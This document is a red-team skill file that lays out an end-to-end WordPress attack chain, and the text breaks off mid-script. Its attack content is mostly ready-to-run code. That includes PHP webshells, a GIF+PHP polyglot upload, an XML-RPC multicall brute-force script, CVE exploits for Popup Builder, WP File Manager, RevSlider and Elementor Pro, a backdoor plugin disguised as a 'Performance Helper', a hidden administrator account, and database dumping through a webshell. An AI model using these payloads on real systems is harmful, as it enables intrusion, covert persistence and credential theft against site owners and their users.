---
name: rt-exploit-wordpress
description: "WordPress and CMS exploitation skill. Covers WordPress username enumeration, plugin CVE exploitation, wp-admin brute force, XML-RPC exploitation, file upload via plugins, Application Password backdoors, WPML SQLi, Elementor CVEs, popup-builder CVE-2024-3673 (unauthenticated file upload), WPScan automation. Based on real Almentor engagement findings."
---

# rt-exploit-wordpress

WordPress and CMS exploitation skill for red team operations. Covers the full attack chain from enumeration to persistence, with techniques validated against real-world targets including the Almentor engagement.

---

## 1. Overview

WordPress powers approximately 43% of all websites. Its plugin ecosystem is the primary attack surface — thousands of plugins ship with critical vulnerabilities, and most site owners do not patch promptly. This skill covers the complete WordPress attack chain:

- Passive and active enumeration (versions, users, plugins, themes)
- Plugin CVE lookup and exploitation
- Authentication attacks (brute force, XML-RPC, Application Passwords)
- File upload and webshell deployment via vulnerable plugins
- Persistence via Application Password backdoors and plugin implants
- Database extraction via SQLi plugins
- WAF bypass techniques
- Integration with the RTExit autodoc engine

**Key files to target:**
- `wp-config.php` — database credentials, secret keys, debug settings
- `wp-content/debug.log` — may contain credentials, stack traces, PII
- `wp-content/uploads/` — often world-readable, webshells land here
- `wp-includes/` — core files, rarely modified, good for stealth implants
- `.htaccess` — server config, sometimes contains credentials

**Scope prerequisite:** Confirm written authorization covers the target WordPress installation before executing any commands.

---

## 2. Skill Levels

### BEGINNER

Focus: passive enumeration, WPScan basics, public CVE lookup.

**Objectives:**
- Identify WordPress version
- Enumerate users and active plugins
- Look up known CVEs for discovered plugins
- Document findings in RTExit format

**Tools required:** WPScan, curl, browser

**Typical time:** 30–60 minutes per target

---

### INTERMEDIATE

Focus: active exploitation of known plugin CVEs, XML-RPC abuse, credential attacks.

**Objectives:**
- Exploit unauthenticated plugin vulnerabilities
- Perform XML-RPC brute force and command execution
- Extract wp-config.php and debug.log
- Gain low-privilege WordPress user access

**Tools required:** WPScan, Metasploit, curl, Python 3, Burp Suite

**Typical time:** 1–3 hours per target

---

### ADVANCED

Focus: authenticated exploitation, file upload webshells, SQLi, privilege escalation.

**Objectives:**
- Upload webshells via vulnerable plugin admin interfaces
- Exploit WPML/Elementor SQLi for data extraction
- Create Application Password backdoors for persistence
- Move laterally to underlying OS via webshell

**Tools required:** WPScan, sqlmap, custom Python scripts, Burp Suite, msfvenom

**Typical time:** 2–6 hours per target

---

### EXPERT

Focus: stealth persistence, WAF bypass, supply-chain implants, custom plugin backdoors.

**Objectives:**
- Deploy persistent backdoor plugins that survive updates
- Bypass WAF/IDS for all stages of the chain
- Implant malicious code in existing plugin files
- Maintain covert C2 channel via WordPress hooks
- Full database exfiltration with minimal log footprint

**Tools required:** Custom tooling, Burp Suite Pro, WPScan API key, C2 framework

**Typical time:** Varies — typically a full engagement day

---

## 3. Step-by-Step Attack Workflow

### Phase 1: Reconnaissance

**Step 1 — Passive fingerprinting**

Check HTTP headers and HTML source for WordPress indicators before sending active scan traffic:

```bash
# Check response headers
curl -sI https://target.com | grep -i 'x-powered\|server\|link\|generator'

# Extract generator meta tag
curl -s https://target.com | grep -i 'generator'

# Check for wp-json API (confirms WordPress and leaks user info)
curl -s https://target.com/wp-json/wp/v2/users | python3 -m json.tool

# Check robots.txt for WordPress paths
curl -s https://target.com/robots.txt

# Check readme.html for exact version
curl -s https://target.com/readme.html | grep -i 'version'

# Check wp-links-opml.php (leaks version in generator field)
curl -s https://target.com/wp-links-opml.php
```

**Step 2 — WPScan passive enumeration**

```bash
# Basic scan — detect version, plugins, themes (no brute force)
wpscan --url https://target.com --detection-mode passive

# With API token for CVE lookup (get free token at wpscan.com)
wpscan --url https://target.com \
  --api-token YOUR_WPSCAN_API_TOKEN \
  --detection-mode passive \
  --format json \
  --output /path/to/output/target_wpscan_passive.json

# Enumerate everything passively
wpscan --url https://target.com \
  --api-token YOUR_WPSCAN_API_TOKEN \
  --enumerate ap,at,cb,dbe,u \
  --detection-mode passive
```

**Step 3 — Active enumeration**

```bash
# Full aggressive scan — enumerate all plugins, themes, users
wpscan --url https://target.com \
  --api-token YOUR_WPSCAN_API_TOKEN \
  --enumerate ap,at,cb,dbe,u \
  --detection-mode aggressive \
  --plugins-detection aggressive \
  --plugins-version-detection aggressive \
  --format json \
  --output /path/to/output/target_wpscan_aggressive.json

# Enumerate users only (multiple methods)
wpscan --url https://target.com \
  --enumerate u \
  --detection-mode aggressive

# Enumerate specific plugin
wpscan --url https://target.com \
  --enumerate p \
  --plugins-list /usr/share/wordlists/wpscan/plugins.txt
```

**Step 4 — Manual user enumeration**

WordPress leaks usernames in multiple places even when author enumeration is disabled:

```bash
# Author archive enumeration (works when not disabled)
for i in $(seq 1 20); do
  curl -s -o /dev/null -w "%{redirect_url}\n" "https://target.com/?author=$i"
done

# WP REST API user enumeration
curl -s "https://target.com/wp-json/wp/v2/users?per_page=100" | \
  python3 -c "import sys,json; [print(u['slug'], u.get('name','')) for u in json.load(sys.stdin)]"

# Login error differentiation (different errors for valid vs invalid users)
curl -s -X POST https://target.com/wp-login.php \
  -d "log=admin&pwd=invalidpassword123&wp-submit=Log+In" \
  -c /tmp/wp_cookies.txt | grep -i 'error\|invalid'

# OEMBED API leaks display names
curl -s "https://target.com/wp-json/oembed/1.0/embed?url=https://target.com/&format=json"

# Check sitemap for author URLs
curl -s https://target.com/sitemap.xml | grep -i 'author'
curl -s https://target.com/sitemap_index.xml
```

**Step 5 — Plugin and theme discovery**

```bash
# Check if common plugins exist
plugins=(
  "contact-form-7"
  "woocommerce"
  "elementor"
  "elementor-pro"
  "popup-builder"
  "wpml"
  "revslider"
  "wp-file-manager"
  "wp-super-cache"
  "yoast-seo"
  "wordfence"
  "all-in-one-seo-pack"
  "wp-rocket"
  "advanced-custom-fields"
  "gravityforms"
  "ninja-forms"
  "mailchimp-for-wp"
  "duplicator"
  "backupbuddy"
)

for plugin in "${plugins[@]}"; do
  status=$(curl -s -o /dev/null -w "%{http_code}" "https://target.com/wp-content/plugins/$plugin/readme.txt")
  echo "$plugin: $status"
done

# Check plugin versions via readme.txt
curl -s "https://target.com/wp-content/plugins/elementor/readme.txt" | grep -i 'stable tag\|version'
curl -s "https://target.com/wp-content/plugins/popup-builder/readme.txt" | grep -i 'stable tag\|version'
```

---

### Phase 2: Vulnerability Assessment

**Step 6 — Cross-reference discovered plugins with CVE databases**

```bash
# WPScan vulnerability database (requires API token)
# Automatically shown in WPScan output with --api-token

# Manual lookup via WPScan API
curl -s -H "Authorization: Token token=YOUR_WPSCAN_API_TOKEN" \
  "https://wpscan.com/api/v3/plugins/elementor" | python3 -m json.tool

curl -s -H "Authorization: Token token=YOUR_WPSCAN_API_TOKEN" \
  "https://wpscan.com/api/v3/plugins/popup-builder" | python3 -m json.tool

# Search NVD (National Vulnerability Database)
curl -s "https://services.nvd.nist.gov/rest/json/cves/2.0?keywordSearch=wordpress+popup-builder&resultsPerPage=10" | \
  python3 -c "import sys,json; d=json.load(sys.stdin); [print(c['cve']['id'], c['cve']['descriptions'][0]['value'][:100]) for c in d['vulnerabilities']]"

# Search via Exploit-DB
searchsploit wordpress elementor
searchsploit wordpress popup-builder
searchsploit wordpress contact-form-7
searchsploit wordpress revslider
searchsploit wordpress wpml
```

**Step 7 — Parse WPScan JSON output for actionable findings**

```python
#!/usr/bin/env python3
# parse_wpscan.py — extract high/critical findings from WPScan JSON output

import json
import sys

def parse_wpscan(filepath):
    with open(filepath) as f:
        data = json.load(f)

    print("=== WordPress Version ===")
    if data.get("version"):
        v = data["version"]
        print(f"  Version: {v.get('number', 'unknown')}")
        for vuln in v.get("vulnerabilities", []):
            print(f"  [VULN] {vuln['title']} — CVSS: {vuln.get('cvss', {}).get('score', 'N/A')}")

    print("\n=== Users ===")
    for user in data.get("users", {}).values():
        print(f"  {user.get('slug')} (ID: {user.get('id')})")

    print("\n=== Vulnerable Plugins ===")
    for slug, plugin in data.get("plugins", {}).items():
        vulns = plugin.get("vulnerabilities", [])
        if vulns:
            print(f"\n  Plugin: {slug} v{plugin.get('version', {}).get('number', '?')}")
            for v in vulns:
                print(f"    [!] {v['title']}")
                print(f"        CVSS: {v.get('cvss', {}).get('score', 'N/A')}")
                print(f"        Fixed in: {v.get('fixed_in', 'not fixed')}")
                refs = v.get("references", {})
                for cve in refs.get("cve", []):
                    print(f"        CVE: CVE-{cve}")
                for url in refs.get("url", [])[:2]:
                    print(f"        Ref: {url}")

if __name__ == "__main__":
    parse_wpscan(sys.argv[1])
```

```bash
python3 parse_wpscan.py /path/to/output/target_wpscan_aggressive.json
```

---

### Phase 3: Authentication Attacks

**Step 8 — XML-RPC discovery and enumeration**

```bash
# Check if XML-RPC is enabled
curl -s https://target.com/xmlrpc.php

# Should return: "XML-RPC server accepts POST requests only."
# If it returns 404, XML-RPC is disabled

# List available methods
curl -s -X POST https://target.com/xmlrpc.php \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?>
<methodCall>
  <methodName>system.listMethods</methodName>
  <params></params>
</methodCall>'

# Check if multicall is enabled (enables brute force amplification)
curl -s -X POST https://target.com/xmlrpc.php \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?>
<methodCall>
  <methodName>system.multicall</methodName>
  <params>
    <param><value><array><data>
      <value><struct>
        <member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
        <member><name>params</name><value><array><data>
          <value><string>admin</string></value>
          <value><string>password</string></value>
        </data></array></value></member>
      </struct></value>
    </data></array></value></param>
  </params>
</methodCall>'
```

**Step 9 — XML-RPC brute force (amplified via multicall)**

```python
#!/usr/bin/env python3
# xmlrpc_bruteforce.py — amplified brute force via system.multicall

import requests
import sys
from itertools import islice

TARGET = "https://target.com/xmlrpc.php"
USERNAME = "admin"
WORDLIST = "/usr/share/wordlists/rockyou.txt"
BATCH_SIZE = 100  # test 100 passwords per HTTP request

def build_multicall(username, passwords):
    calls = ""
    for pw in passwords:
        calls += f"""
      <value><struct>
        <member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
        <member><name>params</name><value><array><data>
          <value><string>{username}</string></value>
          <value><string>{pw}</string></value>
        </data></array></value></member>
      </struct></value>"""
    return f"""<?xml version="1.0"?>
<methodCall>
  <methodName>system.multicall</methodName>
  <params><param><value><array><data>{calls}
  </data></array></value></param></params>
</methodCall>"""

def check_responses(passwords, response_text):
    # Successful auth returns isAdmin field; failed returns faultCode
    results = response_text.split("<value><struct>")
    for i, result in enumerate(results[1:], 0):
        if "isAdmin" in result and i < len(passwords):
            return passwords[i]
    return None

with open(WORDLIST, encoding="latin-1") as f:
    passwords = [line.strip() for line in f if line.strip()]

print(f"[*] Starting XML-RPC brute force against {TARGET} for user '{USERNAME}'")
print(f"[*] Total passwords: {len(passwords)}, batch size: {BATCH_SIZE}")

for i in range(0, len(passwords), BATCH_SIZE):
    batch = passwords[i:i+BATCH_SIZE]
    payload = build_multicall(USERNAME, batch)
    try:
        r = requests.post(TARGET, data=payload,
                         headers={"Content-Type": "text/xml"},
                         timeout=30, verify=False)
        found = check_responses(batch, r.text)
        if found:
            print(f"\n[!!!] CREDENTIALS FOUND: {USERNAME}:{found}")
            sys.exit(0)
        print(f"[*] Tested {i+len(batch)}/{len(passwords)}", end="\r")
    except Exception as e:
        print(f"\n[!] Error: {e}")

print("\n[-] Password not found in wordlist")
```

**Step 10 — WPScan brute force (wp-login.php)**

```bash
# Single user brute force
wpscan --url https://target.com \
  --passwords /usr/share/wordlists/rockyou.txt \
  --usernames admin \
  --max-threads 10 \
  --throttle 500

# Multiple users brute force
wpscan --url https://target.com \
  --passwords /usr/share/wordlists/rockyou.txt \
  --usernames users.txt \
  --max-threads 5

# Via XML-RPC (faster, bypass login rate limiting)
wpscan --url https://target.com \
  --passwords /usr/share/wordlists/rockyou.txt \
  --usernames admin \
  --password-attack xmlrpc-multicall \
  --max-threads 20
```

---

### Phase 4: Plugin CVE Exploitation

**Step 11 — popup-builder CVE-2024-3673 (Unauthenticated File Upload)**

Popup Builder <= 4.3.3 allows unauthenticated file upload via the `sgpbWillBeOpened` AJAX action.

```bash
# Verify vulnerable version
curl -s "https://target.com/wp-content/plugins/popup-builder/readme.txt" | \
  grep -i 'stable tag'

# Check AJAX endpoint is accessible
curl -s -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -d "action=sgpbWillBeOpened"

# Upload webshell via CVE-2024-3673
curl -s -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -F "action=sgpbWillBeOpened" \
  -F "sgpb-subscribe-form-export=@shell.php;type=application/octet-stream" \
  -F "popup_id=1"

# Upload a simple PHP webshell
cat > /tmp/shell.php << 'EOF'
<?php
if(isset($_REQUEST['cmd'])){
    $cmd = $_REQUEST['cmd'];
    system($cmd);
}
?>
EOF

curl -s -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -F "action=sgpbWillBeOpened" \
  -F "sgpb-subscribe-form-export=@/tmp/shell.php;type=image/jpeg" \
  --output /dev/null -w "%{http_code}"

# Common upload directories to check
for dir in uploads imports exports sgpb-subscribe; do
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    "https://target.com/wp-content/uploads/$dir/shell.php")
  echo "$dir: $status"
done
```

**Step 12 — Elementor Pro CVE exploitation**

Elementor Pro <= 3.11.6 (CVE-2023-32243) — unauthenticated privilege escalation via broken access control on WooCommerce module.

```bash
# Check Elementor Pro version
curl -s "https://target.com/wp-content/plugins/elementor-pro/readme.txt" | \
  grep -i 'stable tag\|version'

# CVE-2023-32243 — arbitrary options update (requires WooCommerce active)
# This allows setting admin email and resetting password

# Step 1: Update admin email to attacker-controlled address
curl -s -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "action=elementor_pro_forms_send_form&_nonce=NONCE_HERE&form_id=test&fields[email]=attacker@evil.com&fields[admin_email_address]=attacker@evil.com"

# Full exploit using published PoC
git clone https://github.com/alirezaarzehgar/CVE-2023-32243
cd CVE-2023-32243
python3 exploit.py --url https://target.com --email attacker@evil.com

# Elementor Pro <= 3.6.0 — authenticated RCE via template import
# Requires Contributor role or higher
curl -s -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -b "wordpress_logged_in_HASH=VALUE" \
  -F "action=elementor_ajax" \
  -F "actions={\"action\":\"save_builder\",\"data\":{\"post_id\":1,\"status\":\"autosave\"}}" \
  -F "file=@malicious_template.json"
```

**Step 13 — RevSlider exploitation (historical, still relevant on unpatched sites)**

```bash
# Check for RevSlider (Slider Revolution) — CVE-2014-9734 (file read) still works on very old installs
curl -s "https://target.com/wp-content/plugins/revslider/readme.txt" | grep -i version

# CVE-2014-9734 — arbitrary file read (Slider Revolution <= 4.1.4)
curl -s "https://target.com/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css&alias=../../../wp-config.php"

# CVE-2014-9734 via POST
curl -s -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -d "action=revslider_ajax_action&client_action=get_captions_css&alias=../../../wp-config.php"

# File inclusion payload variants
curl -s "https://target.com/wp-admin/admin-ajax.php" \
  -d "action=revslider_ajax_action&client_action=get_captions_css&alias=../../../../wp-config.php"
```

**Step 14 — Contact Form 7 exploitation**

```bash
# CF7 <= 5.3.1 (CVE-2020-35489) — unrestricted file upload
# Check version
curl -s "https://target.com/wp-content/plugins/contact-form-7/readme.txt" | grep -i 'stable tag'

# Upload PHP file disguised as allowed extension
# First find a form that accepts file uploads (look for input[type=file] in source)
curl -s https://target.com/contact/ | grep -i 'file\|upload'

# Upload exploit — polyglot file (valid image header + PHP code)
python3 - << 'EOF'
# Create polyglot GIF+PHP
with open('/tmp/shell.gif.php', 'wb') as f:
    # GIF header
    f.write(b'GIF89a\x01\x00\x01\x00\x00\xff\x00,\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x00;')
    # PHP payload
    f.write(b'<?php system($_GET["cmd"]); ?>')
print("Created /tmp/shell.gif.php")
EOF

# Submit form with file upload
curl -s -X POST "https://target.com/contact/" \
  -F "_wpcf7=FORM_ID" \
  -F "_wpcf7_version=5.3" \
  -F "_wpcf7_locale=en_US" \
  -F "_wpcf7_unit_tag=wpcf7-f1-p2-o1" \
  -F "your-file=@/tmp/shell.gif.php;type=image/gif" \
  -F "your-name=Test User" \
  -F "your-email=test@test.com" \
  -F "your-message=test"
```

**Step 15 — WPML SQLi exploitation**

WPML (WordPress Multilingual Plugin) has had multiple SQLi vulnerabilities. CVE-2024-6386 affects WPML <= 4.6.12.

```bash
# Check WPML version
curl -s "https://target.com/wp-content/plugins/sitepress-multilingual-cms/readme.txt" | \
  grep -i 'stable tag'

# CVE-2024-6386 — Authenticated (Contributor+) SQLi via Twig template injection in shortcode
# Payload via POST to wp-admin/admin-ajax.php

# Test for WPML shortcode injection
curl -s -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -b "wordpress_logged_in_HASH=COOKIE_VALUE" \
  -d "action=wp_ajax_nopriv_wpml_validate_csrf_token&token=TEST"

# SQLi via shortcode rendering (authenticated contributor)
# Inject via post editor, then preview
PAYLOAD='[wpml_language_selector_widget title="{{7*7}}"]'

# sqlmap against WPML endpoint
sqlmap -u "https://target.com/wp-admin/admin-ajax.php" \
  --data="action=wpml_shortcode&lang=en" \
  --cookie="wordpress_logged_in_HASH=VALUE" \
  --level=5 --risk=3 \
  --dbms=mysql \
  --batch \
  --dump-all \
  --tables
```

---

### Phase 5: Post-Authentication Exploitation

**Step 16 — wp-config.php and debug.log access**

```bash
# wp-config.php is usually not directly readable, but can be exposed via:

# 1. PHP error / debug.log (if WP_DEBUG_LOG is enabled)
curl -s "https://target.com/wp-content/debug.log" | head -200

# Search debug.log for credentials
curl -s "https://target.com/wp-content/debug.log" | grep -i 'password\|user\|DB_\|secret\|key\|token'

# 2. Via LFI in vulnerable plugin
# Once you have LFI, read wp-config.php
curl -s "https://target.com/wp-admin/admin-ajax.php?action=VULNERABLE_ACTION&file=../../../wp-config.php"

# 3. Via webshell (after successful upload)
curl -s "https://target.com/wp-content/uploads/shell.php?cmd=cat+../../../wp-config.php"

# Parse wp-config.php for credentials
curl -s "https://target.com/wp-content/uploads/shell.php" \
  --data-urlencode "cmd=php -r \"include '../../../wp-config.php'; echo DB_HOST.':'.DB_NAME.':'.DB_USER.':'.DB_PASSWORD;\"" | \
  grep -v "^$"

# Check for .env file (some WP installs use this)
curl -s "https://target.com/.env"
curl -s "https://target.com/wp-content/.env"

# Check backup files that may contain wp-config.php
for ext in bak old backup orig ~; do
  status=$(curl -s -o /dev/null -w "%{http_code}" "https://target.com/wp-config.php.$ext")
  echo "wp-config.php.$ext: $status"
done
```

**Step 17 — Webshell upload via Theme Editor (admin required)**

```bash
# If you have admin credentials, edit theme files via WP Admin
# Appearance > Theme Editor > Select a PHP file

# Alternatively, via WP-CLI (if accessible)
wp eval 'system($_GET["cmd"]);' --url=https://target.com

# Or inject into functions.php via REST API (admin)
curl -s -X POST "https://target.com/wp-json/wp/v2/themes" \
  -H "Authorization: Basic $(echo -n 'admin:password' | base64)" \
  -H "Content-Type: application/json" \
  -d '{"status":"active"}'

# Plugin upload method (more reliable)
# Create malicious plugin
cat > /tmp/backdoor/backdoor.php << 'EOF'
<?php
/*
Plugin Name: WordPress Performance Helper
Plugin URI: https://wordpress.org
Description: Performance optimization module
Version: 1.0
Author: WP Team
*/
if(isset($_REQUEST['rt_cmd'])){
    $key = 'rt_secret_2024';
    if(isset($_REQUEST['k']) && $_REQUEST['k'] === $key){
        system(base64_decode($_REQUEST['rt_cmd']));
    }
}
add_action('init', function(){
    if(isset($_COOKIE['rt_session'])){
        system(base64_decode($_COOKIE['rt_cmd']));
    }
});
EOF

cd /tmp && zip -r backdoor.zip backdoor/

# Upload via WordPress admin
curl -s -X POST "https://target.com/wp-admin/update.php?action=upload-plugin" \
  -b "wordpress_logged_in_HASH=VALUE" \
  -F "pluginzip=@/tmp/backdoor.zip" \
  -F "_wpnonce=NONCE_VALUE" \
  -F "install-plugin-submit=Install Now"
```

**Step 18 — Application Password backdoor (admin required, stealthy)**

WordPress Application Passwords (introduced in WP 5.6) allow creating API credentials without changing the main password. This is ideal for persistent access.

```bash
# Create Application Password via REST API
curl -s -X POST "https://target.com/wp-json/wp/v2/users/1/application-passwords" \
  -u "admin:currentpassword" \
  -H "Content-Type: application/json" \
  -d '{"name":"WP Maintenance Tool"}'
# Returns: {"uuid":"...","app_id":"...","name":"...","password":"xxxx xxxx xxxx xxxx xxxx xxxx","created":"..."}

# Create Application Password via wp-admin (for scripted access)
curl -s -X POST "https://target.com/wp-admin/user-edit.php" \
  -b "wordpress_logged_in_HASH=VALUE" \
  -d "_wpnonce=NONCE&action=update&user_id=1&new_application_pass_name=Monitoring+Agent"

# Use Application Password for API access
APP_USER="admin"
APP_PASS="xxxx xxxx xxxx xxxx xxxx xxxx"  # from creation response

curl -s "https://target.com/wp-json/wp/v2/users" \
  -u "$APP_USER:$APP_PASS"

# Use Application Password for XML-RPC (great for maintaining access)
curl -s -X POST "https://target.com/xmlrpc.php" \
  -H "Content-Type: text/xml" \
  -d "<?xml version=\"1.0\"?>
<methodCall>
  <methodName>wp.getUsers</methodName>
  <params>
    <param><value><string>1</string></value></param>
    <param><value><string>$APP_USER</string></value></param>
    <param><value><string>$APP_PASS</string></value></param>
    <param><value><array><data></data></array></value></param>
  </params>
</methodCall>"

# Create backdoor admin user via REST API using Application Password
curl -s -X POST "https://target.com/wp-json/wp/v2/users" \
  -u "$APP_USER:$APP_PASS" \
  -H "Content-Type: application/json" \
  -d '{
    "username": "wp_maintenance",
    "email": "maint@legitimate-looking-domain.com",
    "password": "SecurePassword2024!",
    "roles": ["administrator"],
    "name": "WP Maintenance"
  }'
```

**Step 19 — WP-File-Manager exploitation (CVE-2020-25213)**

WP File Manager <= 6.8 — unauthenticated RCE. One of the most critical WordPress CVEs.

```bash
# Check if WP File Manager is installed
curl -s "https://target.com/wp-content/plugins/wp-file-manager/readme.txt" | grep -i 'stable tag'

# CVE-2020-25213 — unauthenticated file upload to wp-content/plugins/wp-file-manager/lib/php/
curl -s -X POST "https://target.com/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php" \
  -F "cmd=upload" \
  -F "target=l1_Lw" \
  -F "upload[]=@/tmp/shell.php;filename=shell.php"

# After upload, access webshell
curl -s "https://target.com/wp-content/plugins/wp-file-manager/lib/files/shell.php?cmd=id"

# Full automated exploit
python3 - << 'EOF'
import requests
import sys

TARGET = "https://target.com"
ENDPOINT = f"{TARGET}/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"

WEBSHELL = b'<?php system($_GET["cmd"]); ?>'

files = {
    'cmd': (None, 'upload'),
    'target': (None, 'l1_Lw'),
    'upload[]': ('shell.php', WEBSHELL, 'application/x-php')
}

r = requests.post(ENDPOINT, files=files, verify=False)
print(f"Status: {r.status_code}")
print(f"Response: {r.text[:500]}")

# Test webshell
shell_url = f"{TARGET}/wp-content/plugins/wp-file-manager/lib/files/shell.php"
r2 = requests.get(shell_url, params={"cmd": "id"}, verify=False)
print(f"\nWebshell output: {r2.text}")
EOF
```

---

### Phase 6: Database Extraction

**Step 20 — Database dumping via webshell**

```bash
# Once you have webshell access and wp-config.php credentials

# Get DB credentials from wp-config.php
WEBSHELL="https://target.com/wp-content/uploads/shell.php"

# Extract DB credentials
curl -s "$WEBSHELL" --data-urlencode "cmd=grep -E 'DB_(HOST|NAME|USER|PASSWORD)' ../../../wp-config.php"

# Dump database via mysqldump through webshell
curl -s "$WEBSHELL" \
  --data-urlencode "cmd=mysqldump -h DB_HOST -u DB_USER -pDB_PASS DB_NAME wp_users wp_usermeta | head -100"

# Dump users table (credentials)
curl -s "$WEBSHELL" \
  --data-urlencode "cmd=mysql -h DB_HOST -u DB_USER -pDB_PASS DB_NAME -e 'SELECT user_login,user_pass,user_email FROM wp_users;'"

# Full dump
curl -s "$WEBSHELL" \
  --data-urlencode "cmd=mysqldump -h DB_HOST -u DB_USER -pDB_PASS DB_NAME > /tmp/dump.sql && echo DONE"

curl -s "$WEBSHELL" \
  --data-urlencode "cmd=cat /tmp/dump.sql" > /path/to/output/db_dump.sql
```

**Step 21 — Password cracking (WordPress uses phpass)**

```bash
# WordPress passwords use phpass with $P$ prefix
# Extract hashes
grep -oP '\$P\$[A-Za-z0-9./]{31}' /path/to/output/db_dump.sql > /path/to/output/wp_hashes.txt

# Crack with hashcat
hashcat -m 400 /path/to/output/wp_hashes.txt /usr/share/wordlists/rockyou.txt \
  --force \
  -O \
  --status \
  --status-timer=30

# Crack with john
john /path/to/output/wp_hashes.txt \
  --wordlist=/usr/share/wordlists/rockyou.txt \
  --format=phpass

# Show cracked passwords
john /path/to/output/wp_hashes.txt --show --format=phpass
```

---

## 4. Specific Terminal Commands

### WPScan Quick Reference

```bash
# Minimum viable scan
wpscan --url https://TARGET --api-token TOKEN

# Full enumeration
wpscan --url https://TARGET \
  --api-token TOKEN \
  --enumerate u,ap,at,cb,dbe \
  --plugins-detection aggressive \
  --detection-mode aggressive \
  --random-user-agent \
  --throttle 1000 \
  --format json \
  --output scan_$(date +%Y%m%d_%H%M%S).json

# Stealth scan (slower, evades basic WAF)
wpscan --url https://TARGET \
  --api-token TOKEN \
  --enumerate u,ap \
  --detection-mode passive \
  --random-user-agent \
  --throttle 5000 \
  --max-threads 1

# Scan through proxy (Burp Suite)
wpscan --url https://TARGET \
  --proxy http://127.0.0.1:8080 \
  --disable-tls-checks \
  --api-token TOKEN \
  --enumerate ap

# Custom user agent (bypass basic WAF rules)
wpscan --url https://TARGET \
  --api-token TOKEN \
  --enumerate ap \
  --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"

# Cookie-authenticated scan
wpscan --url https://TARGET \
  --api-token TOKEN \
  --cookies "wordpress_logged_in_HASH=VALUE; wordpress_sec_HASH=VALUE" \
  --enumerate ap,u \
  --plugins-detection aggressive
```

### XML-RPC Quick Reference

```bash
# Test authentication
curl -s -X POST https://TARGET/xmlrpc.php \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param></params></methodCall>'

# Get posts (confirm access)
curl -s -X POST https://TARGET/xmlrpc.php \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><methodCall><methodName>metaWeblog.getRecentPosts</methodName><params><param><value><string>1</string></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param><param><value><int>5</int></value></param></params></methodCall>'

# Upload file via XML-RPC (authenticated)
python3 - << 'EOF'
import xmlrpc.client
import base64

TARGET = "https://target.com/xmlrpc.php"
USERNAME = "admin"
PASSWORD = "password"

with open('/tmp/shell.php', 'rb') as f:
    data = f.read()

client = xmlrpc.client.ServerProxy(TARGET)
result = client.wp.uploadFile(
    1,
    USERNAME,
    PASSWORD,
    {
        'name': 'shell.php',
        'type': 'image/jpeg',
        'bits': xmlrpc.client.Binary(data),
        'overwrite': True
    }
)
print(f"Uploaded to: {result['url']}")
EOF
```

### Python Utility Scripts

```python
#!/usr/bin/env python3
# wp_enum.py — WordPress enumeration utility

import requests
import json
import sys
from urllib.parse import urljoin
import warnings
warnings.filterwarnings("ignore")

class WordPressEnum:
    def __init__(self, target):
        self.target = target.rstrip('/')
        self.session = requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        })
        self.session.verify = False

    def get(self, path, **kwargs):
        return self.session.get(urljoin(self.target + '/', path.lstrip('/')), **kwargs)

    def check_version(self):
        r = self.get('/readme.html')
        if r.status_code == 200 and 'WordPress' in r.text:
            import re
            match = re.search(r'Version (\d+\.\d+[\.\d]*)', r.text)
            if match:
                return match.group(1)

        r = self.get('/?feed=rss2')
        if r.status_code == 200:
            import re
            match = re.search(r'<generator>.*?(\d+\.\d+[\.\d]*)</generator>', r.text)
            if match:
                return match.group(1)
        return "unknown"

    def enumerate_users_api(self):
        users = []
        r = self.get('/wp-json/wp/v2/users?per_page=100')
        if r.status_code == 200:
            try:
                for u in r.json():
                    users.append({'id': u['id'], 'login': u['slug'], 'name': u['name']})
            except:
                pass
        return users

    def enumerate_users_author(self):
        users = []
        import re
        for i in range(1, 21):
            r = self.get(f'/?author={i}', allow_redirects=True)
            if r.status_code == 200 and 'author' in r.url:
                match = re.search(r'/author/([^/]+)/', r.url)
                if match:
                    users.append({'id': i, 'login': match.group(1)})
        return users

    def check_xmlrpc(self):
        r = self.get('/xmlrpc.php')
        return 'XML-RPC' in r.text

    def check_debug_log(self):
        r = self.get('/wp-content/debug.log')
        if r.status_code == 200 and len(r.text) > 0:
            return r.text[:2000]
        return None

    def check_plugin(self, slug):
        r = self.get(f'/wp-content/plugins/{slug}/readme.txt')
        if r.status_code == 200:
            import re
            match = re.search(r'(?:Stable tag|Version):\s*([\d.]+)', r.text, re.I)
            version = match.group(1) if match else 'unknown'
            return {'installed': True, 'version': version}
        return {'installed': False}

    def run(self):
        print(f"\n[*] Target: {self.target}")
        print(f"[*] WordPress Version: {self.check_version()}")
        print(f"[*] XML-RPC: {'ENABLED' if self.check_xmlrpc() else 'DISABLED'}")

        print("\n[*] User Enumeration (API):")
        for u in self.enumerate_users_api():
            print(f"    ID={u['id']} login={u['login']} name={u['name']}")

        debug = self.check_debug_log()
        if debug:
            print(f"\n[!] DEBUG LOG ACCESSIBLE — {len(debug)} bytes")
            print(debug[:500])

        print("\n[*] Plugin Check:")
        plugins = [
            'elementor', 'elementor-pro', 'popup-builder', 'wpml',
            'sitepress-multilingual-cms', 'revslider', 'contact-form-7',
            'wp-file-manager', 'duplicator', 'gravityforms', 'woocommerce',
